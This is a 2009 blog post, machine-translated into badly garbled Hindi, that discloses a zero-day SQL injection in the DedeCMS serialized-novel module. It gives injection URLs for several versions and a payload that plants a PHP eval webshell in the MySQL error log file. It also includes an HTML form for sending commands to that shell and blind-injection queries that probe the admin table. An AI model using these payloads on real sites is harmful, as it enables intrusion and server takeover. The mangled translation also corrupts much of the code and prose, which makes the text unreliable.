DEDECMS कथा धारावाहिक मॉड्यूल 0DAY

इस प्रविष्टि पर पोस्ट किया गया 22 Sep 2009

: St0p
, Reproduced किया जा सकता है लेकिन स्रोत http://www.st0p.org संकेत मिलता है कृपया

क्योंकि छेद उपन्यास मॉड्यूल DEDECMS धारावाहिक में दिखाई देते हैं, इतने लंबे समय के रूप में चुनाव उपन्यास धारावाहिक DEDECMS मॉड्यूल स्थापित करें, तो इस समस्या की शर्तों के तहत कुछ संस्करणों आप सीधे शेल मिल सकते हैं ओह अनुमति देते हैं.
शर्तों शर्तों के उपयोग के बारे में st0p सारांश: जब सर्वर PHP सेटिंग्स, magic_quotes_gpc = बंद
हालत 2: लक्ष्य DEDECMS प्रणाली अधिष्ठापन कथा धारावाहिक मॉड्यूल का चयन किया जाता है

पहले, चलो लेख 5.1 Condo, उपन्यास चैनल और लेख Condo 5.3.1 Condo 5.5 लेख को देखो, क्योंकि सदस्य निर्देशिका में अपनी फ़ाइल, फ़ाइल / सदस्य story_books.php में Condo 5.3.1 और लेख Condo 5.5 फ़ाइल है पुस्तक निर्देशिका में, फ़ाइल एक पुस्तक / story_books.php के
इसी तरह के कोड के अंदर की वजह से है, तो, चलो एक story_books.php लाइन पर देखने के

  <Php?
 ......
 ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在，不存则则给初使值 अगर ($ (कार्रवाई) isset!) $ कार्रवाई ='', / चर कार्रवाई $ का पता लगाने / अगर वहाँ तो प्रारंभिक मूल्य के लिए मौजूद नहीं करता है
 ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在，不存则则给初使值 अगर (($ catid) isset!) catid = 0; मौजूद है / / चर $ catid परीक्षण मौजूद नहीं है के लिए मूल्य बनाने के लिए जल्दी है
 ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在，不存则则给初使值 अगर (($ कीवर्ड) isset) कीवर्ड $ = ""; चर $ कीवर्ड मौजूद है का पता लगाने / / तो प्रारंभिक मूल्य के लिए मौजूद नहीं है,,
 ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在，不存则则给初使值 अगर (($ एक orderby) isset!) $ एक orderby = 0, / / चर एक $ orderby कि क्या वहाँ मौजूद नहीं है का पता लगाने के लिए जल्दी है के लिए मूल्य
 ......
 $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; अगर (catid $ = 0) addquery $ = "(b.bcatid = catid $ या b.catid = '$ catid')". 
 / / चर catid $ 0 नहीं है, यह सीधे सत्यापित नहीं catid $ $ addquery
 $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; अगर (! $ कीवर्ड = "") $ addquery = "(b.bookname की तरह '% $ कीवर्ड% तरह या b.author के'% $ कीवर्ड%)";
 / / चर कीवर्ड $ खाली नहीं है, यह एक सीधा $ कीवर्ड addquery सत्यापित नहीं है
 " प्रश्न $ = " 
     चुनें b.id, b.catid, b.bookname, b.booktype, b.litpic, b.postnum, b.senddate, b.ischeck # @ __ story_books ख के रूप में सीआइडी, c.classname c.id 
     छोड़ दिया में शामिल होने # @ __ story_catalog ग c.id = b.catid पर जहां memberid = और b.id> 0 addquery $ {cfg_ml> M_ID} $ orderby 
  ";
 / / बयान उत्पन्न
 ......
 >?

ऊपर कोड को देखने के, गा, catid और खोजशब्द नहीं फिल्टर, तो इस इंजेक्शन की वजह से है, लेकिन यह बयान का गठन परेशानी का एक सा है लगता है, यह नहीं है इस लेख में हमारे छोटे से उदाहरण के दायरे चर्चा कोशिश कृपया निम्न क्रियाएँ लैंडिंग, प्रत्यक्ष पंजीकरण खाते, लॉगिन के बाद परीक्षण किया है, तो निम्न पते दर्ज करें

लेख 5.1 Condo

टेस्ट निम्नलिखित पते पर चर catid
http://st0p:88/dedecms51/member/story_books.php?catid=10 ') या (st0p' = 'st0p

टेस्ट दो चर खोजशब्द, निम्नलिखित पता
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p% या है जैसे c.classname '% st0p के

लेख 5.31 Condo

टेस्ट निम्नलिखित पते पर चर catid
http://st0p:88/dedecms53/book/story_books.php?catid=10 ') या (st0p' = 'st0p

टेस्ट दो चर खोजशब्द, निम्नलिखित पता

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% या है जैसे c.classname '% st0p के

लेख 5.5 Condo

टेस्ट निम्नलिखित पते पर चर catid
http://st0p:88/dedecms55/book/story_books.php?catid=10 ') या (st0p' = 'st0p

टेस्ट दो चर खोजशब्द, निम्नलिखित पता
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p% या है जैसे c.classname '% st0p के

तीन संस्करणों देखें, DEDECMS के बाद के संस्करण बयान सीमा सुई इंजेक्शन यह कोशिश की बात करते हैं, नहीं st0p.
वास्तव में, के रूप में लंबे समय के रूप में हम कुछ अंक प्राप्त करने के लिए अनुमति का बदलना, प्रत्यय PHP लॉग फ़ाइल बग, 5.1 में लिखा समारोह के लिए नहीं लगता है कि MYSQL त्रुटि, 5.31 कुछ unpatched तो, अगर समझौता, याद है 5.5 प्रत्यय की तरह शब्द घोड़ा में लिखा इंक करने के लिए इसका नाम बदल दिया, लेकिन उपयोग नहीं कर सका. . . गरीब आह, अगर मौत भी जल्दी पता लगाने के माध्यम से होता है. . .

लेख 5.31 Condo
शामिल dedesql.class.php / फ़ाइल

  ......
	 / / प्रदर्शन डेटा लिंक पर त्रुटि की जानकारी
	 $msg ) समारोह DisplayError ($ संदेश)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 ErrorTrackFile डॉलर = dirname (__ FILE__) '.. / / डाटा / mysql_error_trace.php', / PHP / प्रत्यय है
		 '' ; Emsg डॉलर ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; Emsg $ = "<div> <h3> DedeCMS त्रुटि चेतावनी </ h3> \ r \ n!";
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; Emsg $ = "<div> <a Class=" thickbox" target='_blank' href='http://bbs.dedecms.com' style='color:red'> तकनीकी सहायता: http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; Emsg $ = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n";
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; Emsg $ = "<div Style='color:blue'> त्रुटि पेज <font color='red'>". $ इस -> (GetCurUrl) "</ font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; Emsg $ = "<div> त्रुटि infos: {$ msg} </ div> \ r \ n";
		 "<br /></div></div> \r \n " ; Emsg $ = "<br /> </ div> </ div> \ r \ n";

		 ; $ emsg गूंज;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ इस -> GetCurUrl () "\ r \ n त्रुटि:": $ Savemsg = 'पेज' $ संदेश,.
		 / / MySQL त्रुटि लॉग सहेजें
		 fopen ( $errorTrackFile , 'a' ) ; $ एफ पी = @ fopen ($ errorTrackFile, 'एक');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; '<'. 'PHP? "\ R \ n / * \ r \ n {$ savemsg} \ r \ n / * \ r \ n?". "> @ Fwrite ($ fp, \ r \ n" " );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

लेख में 5.5 Condo और समझौता
शामिल dedesql.class.php / फ़ाइल

  ......
	 / / प्रदर्शन डेटा लिंक पर त्रुटि की जानकारी
	 $msg ) समारोह DisplayError ($ संदेश)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 ErrorTrackFile $ dirname = (__ FILE__) '.. / / डाटा / mysql_error_trace.inc', / / प्रत्यय बन कांग्रेस
		 file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在，删除文件 अगर (file_exists (dirname (__ FILE__) '.. / / डेटा / mysql_error_trace.php')) / / यदि mysql_error_trace.php मौजूद है, फ़ाइलों को हटा दें
		 {
			 ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; @ अनलिंक (dirname (__ FILE__) '.. / / डेटा / mysql_error_trace.php के');
		 }
		 '' ; Emsg डॉलर ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; Emsg $ = "<div> <h3> DedeCMS त्रुटि चेतावनी </ h3> \ r \ n!";
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; Emsg $ = "<div> <a Class=" thickbox" target='_blank' href='http://bbs.dedecms.com' style='color:red'> तकनीकी सहायता: http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; Emsg $ = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n";
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; Emsg $ = "<div Style='color:blue'> त्रुटि पेज <font color='red'>". $ इस -> (GetCurUrl) "</ font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; Emsg $ = "<div> त्रुटि infos: {$ msg} </ div> \ r \ n";
		 "<br /></div></div> \r \n " ; Emsg $ = "<br /> </ div> </ div> \ r \ n";

		 ; $ emsg गूंज;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ इस -> GetCurUrl () "\ r \ n त्रुटि:": $ Savemsg = 'पेज' $ संदेश,.
		 / / MySQL त्रुटि लॉग सहेजें
		 fopen ( $errorTrackFile , 'a' ) ; $ एफ पी = @ fopen ($ errorTrackFile, 'एक');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; '<'. 'PHP? "\ R \ n / * \ r \ n {$ savemsg} \ r \ n / * \ r \ n?". "> @ Fwrite ($ fp, \ r \ n" " );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

पढ़ें उपरोक्त कोड, हम यह समझते हैं, 5.5 और 5.31 में समझौता हो जाएगा का उपयोग नहीं कर सकते हैं, हम कहते हैं कि विधि के बारे में 5.31 लाभ ले सकते हैं.
तरीकों का उपयोग

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p '% * / eval ($ _POST [st0p]);?>

हे. ताकि हम एक शेल मिलता
Http://st0p:88/dedecms53/data/mysql_error_trace.php के लिए शब्द पता
लेख 5.5 Condo के उपयोग पर डेटा सबमिट करने के लिए डायरेक्ट पोस्ट ही है, लेकिन क्योंकि कोड के साथ निपटने के लिए उत्पन्न फ़ाइल एक्सटेंशन कांग्रेस, तो वहाँ कोई फायदा नहीं है, निम्नलिखित को एचटीएम कोड प्रस्तुत करने के लिए प्रयोग किया जाता है, बस मेज डाल नीचे आप इसे में थे एकल पता

  "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <DOCTYPE HTML सार्वजनिक "- डब्ल्यू .3 सी. / / / / DTD XHTML 1.0 संक्रमणकालीन / / EN"! "Http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 "http://www.w3.org/1999/xhtml" > <Html Xmlns = "http://www.w3.org/1999/xhtml">
 <head>
 equiv = "Content-Type" content = "text/html; charset=utf-8" /> <Meta-http-Equiv = "Content-Type" सामग्री = "text / चारसेट html; = utf-8" />
 "author" content = "st0p,st0p.org" /> <meta नाम = "author" सामग्री = "st0p, st0p.org" />
 st0p一句话提交</ title > <Title> St0p शब्द </ शीर्षक> प्रस्तुत
 <सिर />

 <body>
 //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> <- Http: / st0p /: 88/dedecms53/data/mysql_error_trace.php आपके पते के साथ बदल दिया ->
 "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > <Form आईडी = "form1" नाम = "form1" विधि = "post" कार्रवाई = "http://st0p:88/dedecms53/data/mysql_error_trace.php">
   <P>
     <Label>
       "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > <Textarea नाम = "st0p" आईडी = "st0p" कर्नल = पंक्तियों "45" = "5"> गूंज phpinfo (); <textarea />
     </ लेबल>
   </ P>
   <P>
     <Label>
       "submit" name = "button" id = "button" value = "提交" /> <input प्रकार = "submit" नाम = "button" आईडी = "button" मूल्य = "Submit" />
     </ लेबल>
   </ P>
 </ फार्म>
 </ Body>
 </ Html>

बेशक, उपन्यास धारावाहिक मॉड्यूल, वहाँ अन्य दस्तावेजों वहाँ भी एक ही समस्या निम्न में से कई फ़ाइलें हैं
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

मूलतः सोचा जारी इस 0DAY, पशु बिंदु एक्स दोस्तों, शेयर जानकारी के प्रतिच्छेदन से अधिक यादृच्छिक विचार है, तो हम करने के लिए जारी करने के बाद कुछ कम वसा, का फैसला किया. . .
समस्याओं को हम अपने ब्लॉग में चर्चा कर सकते हैं!

नोट: लेख के रिलीज के बाद, एक दोस्त यह बहुत ही बेस्वाद पढ़ने के बाद कहा, क्योंकि सर्वर magic_quotes_gpc = मामले का एक बहुत, जो मैं बहस नहीं इरादा नहीं है, लेकिन मैं सवाल लिखा मौजूद नहीं है, बस करने के लिए कुछ शर्तों का उपयोग करना चाहते हैं 5.31 और 5.5, अग्रभूमि के 5.1 संस्करण में एसक्यूएल में फिल्टर कुछ खोजशब्दों के साथ धारावाहिक किताबें, कुछ जोड़ने के लिए, तो कोई रास्ता नहीं की तरह है, हम करने के लिए 5.1 संस्करण का पता लगाने के लिए है वहाँ कई प्रबंधन उदाहरण के लिए सदस्य.
1, हम करने के लिए एक धारावाहिक पुस्तक जोड़ना चाहते हैं
> 0 2, http://st0p:88/dedecms51/member/story_books.php?catid=10, ') या dede_admin से (चयन count (*)) या (' st0p st0pa '='

3 http://st0p:88/dedecms51/member/story_books.php?catid=10, ') या (dede_admin से चुनें गिनती (*))> 1 या (st0p' = 'st0pa में

गा, ऊपर निष्कर्ष व्यवस्थापक नंबर 1 है. . .
इस बोली उदाहरण के लिए, वास्तव में, भेद्यता किसी भी समय हो, लेकिन कर सकते हैं पर्यावरण के बारे में ध्यान अलग है, अलग अलग प्रभाव है और का अच्छा उपयोग करने के लिए, और कभी कभी बेस्वाद बातें भी उपयोगी साबित. . .